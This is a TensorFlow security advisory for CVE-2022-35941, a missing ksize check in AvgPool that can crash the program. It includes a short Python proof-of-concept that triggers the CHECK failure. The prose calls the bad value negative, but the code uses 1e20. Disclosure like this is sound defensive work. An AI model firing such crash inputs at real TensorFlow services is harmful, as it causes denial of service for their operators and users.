Impact

The AvgPoolOp function takes an argument ksize that must be positive but is not checked. A negative ksize can trigger a CHECK failure and crash the program.

import tensorflow as tf
import numpy as np

value = np.ones([1, 1, 1, 1])
ksize = [1, 1e20, 1, 1]
strides = [1, 1, 1, 1]
padding = 'SAME'
data_format = 'NHWC'

tf.raw_ops.AvgPool(value=value, ksize=ksize, strides=strides, padding=padding, data_format=data_format)

Patches

We have patched the issue in GitHub commit 3a6ac52664c6c095aa2b114e742b0aa17fdce78f.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Jingyi Shi.

References

• GHSA-mgmh-g2v6-mqw5
• tensorflow/tensorflow@3a6ac52
• https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/avgpooling_op.cc#L56-L98
• https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
• https://nvd.nist.gov/vuln/detail/CVE-2022-35941